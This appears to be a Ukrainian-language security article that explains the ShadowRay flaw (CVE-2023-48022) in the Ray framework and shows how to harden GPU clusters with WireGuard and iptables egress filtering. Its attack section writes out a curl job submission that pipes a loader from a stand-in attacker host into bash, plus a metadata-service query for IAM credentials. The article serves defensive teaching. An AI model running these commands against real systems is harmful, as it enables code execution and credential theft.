Стрімке зростання генеративних моделей штучного інтелекту та розподіленого глибокого навчання перетворило обчислювальні кластери на базі графічних процесорів (GPU) на найцінніший актив технологічних підприємств. Щоб координувати навчання великих моделей, цикли зворотного зв'язку (RLHF) та масштабований інференс на сотнях вузлів, інженерні команди використовують спеціалізовані фреймворки розподілених обчислень.
Серед них платформа Ray з відкритим кодом від компанії Anyscale стала фактичним стандартом галузі. Проте початкова архітектура Ray була спроєктована з розрахунком на максимальну швидкість обміну даними всередині довіреного сегмента корпоративної мережі. Відсутність обов'язкової автентифікації керуючих служб створила критичну вразливість CVE-2023-48022, відому як кібератака ShadowRay.
+-------------------------------------------------------------------------------+
| ЛАНЦЮЖОК АТАКИ НА GPU-КЛАСТЕР SHADOWRAY |
+-------------------------------------------------------------------------------+
| 1. Сканування відкритих портів у мережі |
| └─ Виявлення незахищеної панелі Ray Dashboard (TCP 8265) в Інтернеті або LAN|
| 2. Віддалене впровадження завдань через REST API |
| └─ Відправлення неавторизованого запиту на кінцеву точку: POST /api/jobs/ |
| 3. Розподіл завдань через внутрішній демон Raylet |
| └─ Головний вузол (Head node) транслює команди на воркери GPU (TCP 10001) |
| 4. Віддалене виконання довільного коду (RCE) на серверах GPU |
| └─ Виконання системних скриптів у контексті процесу воркера (root) |
| 5. Розвиток атаки та розкрадання активів |
| ├─ Захоплення прискорювачів NVIDIA H100/A100 для нелегального майнінгу |
| ├─ Опитування служби метаданих (169.254.169.254) для викрадення ключів IAM |
| └─ Ексфільтрація ваг навчених моделей (.safetensors) та закритих датасетів |
+-------------------------------------------------------------------------------+
Захист розподіленої інфраструктури вимагає скасування довіри на рівні додатків та побудови надійного зашифрованого периметра на третьому мережевому рівні.
Архітектурний аналіз Ray та першопричина вразливості CVE-2023-48022
Кластер Ray будується за ієрархічною топологією «головний вузол — робочі вузли» (Head Node — Worker Nodes). Для оцінки мережевих ризиків необхідно розглянути призначення внутрішніх мережевих інтерфейсів.
1. Топологія та робочі порти кластера Ray
Типове розгортання Ray містить кілька критичних мережевих компонентів:
- Панель Ray Dashboard та Jobs API (Порт 8265): Відображає завантаження ресурсів, системні журнали та надає інтерфейс HTTP REST для надсилання обчислювальних завдань Python (
/api/jobs/). - Глобальне сховище стану GCS (Порт 6379): Зберігає метадані завдань, структуру черг та граф залежностей у вбудованому сховищі типу «ключ-значення».
- Сервер Ray Client (Порт 10001): Надає можливість інтерактивного підключення віддалених клієнтів Python безпосередньо до кластера.
- Raylet та спільна пам'ять Plasma (Порти 10002–19999): Забезпечують високошвидкісний виклик процедур (RPC), спільну пам'ять та прямий обмін тензорами між GPU.
Мережева структура кластера Ray:
[ Зовнішня мережа / Недовірений сегмент ]
│
▼ (Порти без авторизації: TCP 8265 / 10001)
┌────────────────────────────────────────────────────────┐
│ Головний керуючий вузол Ray (Head Node) │
│ ├── Вебінтерфейс Dashboard та REST API (Порт 8265) │
│ ├── Глобальне сховище GCS (Порт 6379) │
│ └── Сервер Ray Client (Порт 10001) │
└───────────────────────┬────────────────────────────────┘
│ Внутрішні виклики gRPC / RPC
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────────┐ ┌──────────────────────┐
│ Робочий вузол GPU 1 │ │ Робочий вузол GPU 2 │
│ ├── Демон Raylet │ │ ├── Демон Raylet │
│ └── 8x NVIDIA H100 │ │ └── 8x NVIDIA H100 │
└──────────────────────┘ └──────────────────────┘
2. Технічні деталі вразливості ShadowRay (CVE-2023-48022)
Оскільки розробники Ray передбачали використання зовнішніх мережевих екранів, у самому коді не було реалізовано внутрішньої автентифікації. Однак під час розгортання в середовищах Kubernetes (за допомогою KubeRay) або на віртуальних серверах у хмарі сервіси нерідко прив'язуються до адреси 0.0.0.0 або публікуються через Ingress без налаштування перевірки прав.
Зловмисник, виявивши відкритий порт TCP 8265, може запустити виконання будь-якої системної команди через простий HTTP-запит:
# Надсилання неавторизованого завдання на головний вузол Ray
curl -X POST "http://<target-ray-head>:8265/api/jobs/" \
-H "Content-Type: application/json" \
-d '{
"entrypoint": "curl -s http://attacker-c2[.]xyz/loader.sh | bash",
"runtime_env": {
"env_vars": {"CLUSTER_TARGET": "ai-training"}
}
}'
Головний вузол реєструє завдання в GCS і розподіляє його через Raylet на робочі сервери. Команди запускаються безпосередньо на машинах з GPU з правами процесу (нерідко root всередині контейнера Docker).
3. Горизонтальне просування та викрадення ключів IAM
Отримавши доступ до командного рядка у воркері, зловмисники звертаються до локальної служби метаданих хмарного провайдера (IMDSv1):
# Опитування служби метаданих інстансу для викрадення тимчасових ключів IAM
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
Використовуючи скомпрометовані ключі IAM, нападники отримують доступ до сховищ об'єктів S3, де зберігаються фінальні ваги моделей, або запускають додаткові дорогі віртуальні машини для майнінгу.
Мережевий ланцюг загрози та небезпека витоку даних
Спроби захистити лише порт 8265 простим проксі-сервером із паролем усувають лише одну точку входу. Внутрішні комунікації (порти 6379, 10001 та динамічні порти воркерів) залишаються неавтентифікованими та незашифрованими.
У плоскій локальній мережі дата-центру злам будь-якого сусіднього сервера розробки дає змогу перехоплювати пакети Ray RPC, змінювати параметри розрахунків або зчитувати тензори моделей безпосередньо з трафіку.
Вектори мережевих загроз:
[ Нападник / Зламаний сусідній вузол ]
│
├── (1) Прямий доступ до 8265 -> Виконання коду через Jobs API
│
├── (2) Запит до метаданих -> Звернення до 169.254.169.254 за токенами
│
├── (3) Перехоплення трафіку -> Зчитування незашифрованих тензорів у LAN
│
└── (4) Зв'язок із C2 -> Вихідне з'єднання для керування сервером
Єдиним надійним рішенням є виведення кластера з загальної маршрутизації та об'єднання всіх вузлів у зашифровану віртуальну мережу.
Архітектура нульової довіри: WireGuard Mesh та мікросегментація
Надійний захист обчислювальної інфраструктури досягається завдяки поєднанню ізольованої мережі WireGuard третього рівня та суворих правил фільтрації вихідного трафіку.
+-------------------------------------------------------------------------------+
| АРХІТЕКТУРА БЕЗПЕКИ GPU-КЛАСТЕРА ШІ |
+-------------------------------------------------------------------------------+
| Рівень 1: Зашифрована мережа WireGuard L3 Mesh (10.66.0.0/24) |
| ├─ Всі комунікації між Head та Worker вузлами обмежені приватною підмережею |
| ├─ Шифрування ChaCha20-Poly1305 для всього внутрішнього обміну gRPC та пам'яті|
| └─ Повна відсутність служб, що слухають на зовнішніх фізичних інтерфейсах |
+-------------------------------------------------------------------------------+
| Рівень 2: Мікросегментація вихідних з'єднань та захист метаданих |
| ├─ Заборона звернень до адреси 169.254.169.254 з робочих контейнерів |
| ├─ Ізоляція вихідних пакетів; воркери не можуть ініціювати сесії назовні |
| └─ Безпечний Anycast DNS блокує резолв доменів серверів управління C2 |
+-------------------------------------------------------------------------------+
| Рівень 3: Адміністрування виключно через зашифрований клієнт VPN |
| ├─ Панель Ray Dashboard слухає лише внутрішню адресу WireGuard (10.66.0.1) |
| ├─ Доступ інженерів можливий тільки через автентифіковані тунелі VPN |
| └─ Незмінний журнал аудиту для всіх надісланих завдань на виконання |
+-------------------------------------------------------------------------------+
1. Побудова зашифрованої мережі WireGuard Mesh для серверів GPU
Кожному серверу в кластері призначається статична IP-адреса у виділеній підмережі WireGuard (наприклад, 10.66.0.0/24).
Приклад конфігурації головного керуючого вузла (Head Node):
# /etc/wireguard/wg-ai.conf (Головний вузол Ray)
[Interface]
Address = 10.66.0.1/24
PrivateKey = <Приватний_Ключ_Головного_Вузла>
ListenPort = 51820
# Дозвіл вхідного трафіку тільки через віртуальний інтерфейс
PostUp = iptables -A INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
PostDown = iptables -D INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
# Робочий вузол 1
[Peer]
PublicKey = <Публічний_Ключ_Воркера_1>
AllowedIPs = 10.66.0.11/32
Endpoint = 192.168.10.11:51820
PersistentKeepalive = 25
# Робочий вузол 2
[Peer]
PublicKey = <Публічний_Ключ_Воркера_2>
AllowedIPs = 10.66.0.12/32
Endpoint = 192.168.10.12:51820
PersistentKeepalive = 25
Запуск процесів Ray здійснюється з прив'язкою виключно до віртуальної адреси:
# Запуск Ray Head з прив'язкою до віртуального інтерфейсу WireGuard
ray start --head \
--node-ip-address=10.66.0.1 \
--dashboard-host=10.66.0.1 \
--port=6379 \
--dashboard-port=8265 \
--disable-usage-stats
Всі робочі вузли підключаються аналогічно (--address=10.66.0.1:6379 --node-ip-address=10.66.0.11). Будь-який мережевий обмін захищений алгоритмом ChaCha20-Poly1305 на рівні ядра, що запобігає перехопленню в дата-центрі.
2. Мікросегментація вихідного трафіку та блокування доступу до метаданих
Щоб унеможливити встановлення зворотної оболонки (reverse shell) та викрадення хмарних ключів, вихідний трафік обмежується файрволом.
Скрипт налаштування правил для серверів GPU:
#!/usr/bin/env bash
# Фільтрація вихідного трафіку та блокування служби метаданих для GPU
set -euo pipefail
WG_IF="wg-ai"
METADATA_IP="169.254.169.254"
# За замовчуванням забороняємо пересилання
iptables -P FORWARD DROP
# Очищення старих правил
iptables -F
iptables -X
# Дозвіл встановлених сесій
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# Блокування запитів до служби метаданих
iptables -A OUTPUT -d "$METADATA_IP" -j DROP
# Дозвіл комунікації між вузлами лише через тунель WireGuard
iptables -A OUTPUT -o "$WG_IF" -d 10.66.0.0/24 -j ACCEPT
# Заборона вихідних TCP-з'єднань через фізичний інтерфейс
iptables -A OUTPUT -p tcp -m multiport --dports 22,80,443,4444,8080 -o eth0 -j DROP
# Примусове перенаправлення DNS у безпечний Anycast-резолвер
iptables -t nat -A OUTPUT -p udp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -p tcp --dport 53 -j REJECT --reject-with tcp-reset
echo "Правила ізоляції трафіку успішно активовані."
Тестування та перевірка безпеки конфігурації
Щоб упевнитися, що кластер Ray не доступний ззовні, виконайте перевірку з зовнішнього комп'ютера в мережі:
#!/usr/bin/env bash
# Тестове сканування безпеки портів Ray
TARGET_IP="192.168.10.10" # Фізична адреса керуючого сервера
echo "[*] Етап 1: Перевірка доступності порту 8265 на фізичному інтерфейсі..."
if nc -z -v -w 3 "$TARGET_IP" 8265 2>&1 | grep -q "succeeded"; then
echo "[!] НЕБЕЗПЕКА: Порт 8265 відкритий ззовні! Кластер під загрозою."
else
echo "[+] БЕЗПЕЧНО: Порт 8265 закритий або заблокований файрволом."
fi
echo "[*] Етап 2: Перевірка порту Ray Client (10001)..."
if nc -z -v -w 3 "$TARGET_IP" 10001 2>&1 | grep -q "succeeded"; then
echo "[!] НЕБЕЗПЕКА: Порт 10001 відкритий! Можливе виконання коду."
else
echo "[+] БЕЗПЕЧНО: Порт 10001 надійно заблоковано."
fi
Якщо порти закриті на фізичному інтерфейсі, доступ до кластера мають виключно авторизовані фахівці через тунель VPN.
Висновок
Інциденти навколо вразливості ShadowRay довели, що сучасна інфраструктура штучного інтелекту не може покладатися на базову довіру всередині мережі. Для кластерів вартістю мільйони доларів захисту лише окремих вебінтерфейсів замало.
Впровадження ячеистої мережі WireGuard третього рівня, прив'язка служб Ray виключно до віртуальних адрес та мікросегментація вихідних з'єднань забезпечують глибокий комплексний захист. Завдяки цьому розподілені навантаження ШІ залишаються надійно захищеними від перехоплення ресурсів, несанкціонованого доступу та викрадення моделей.



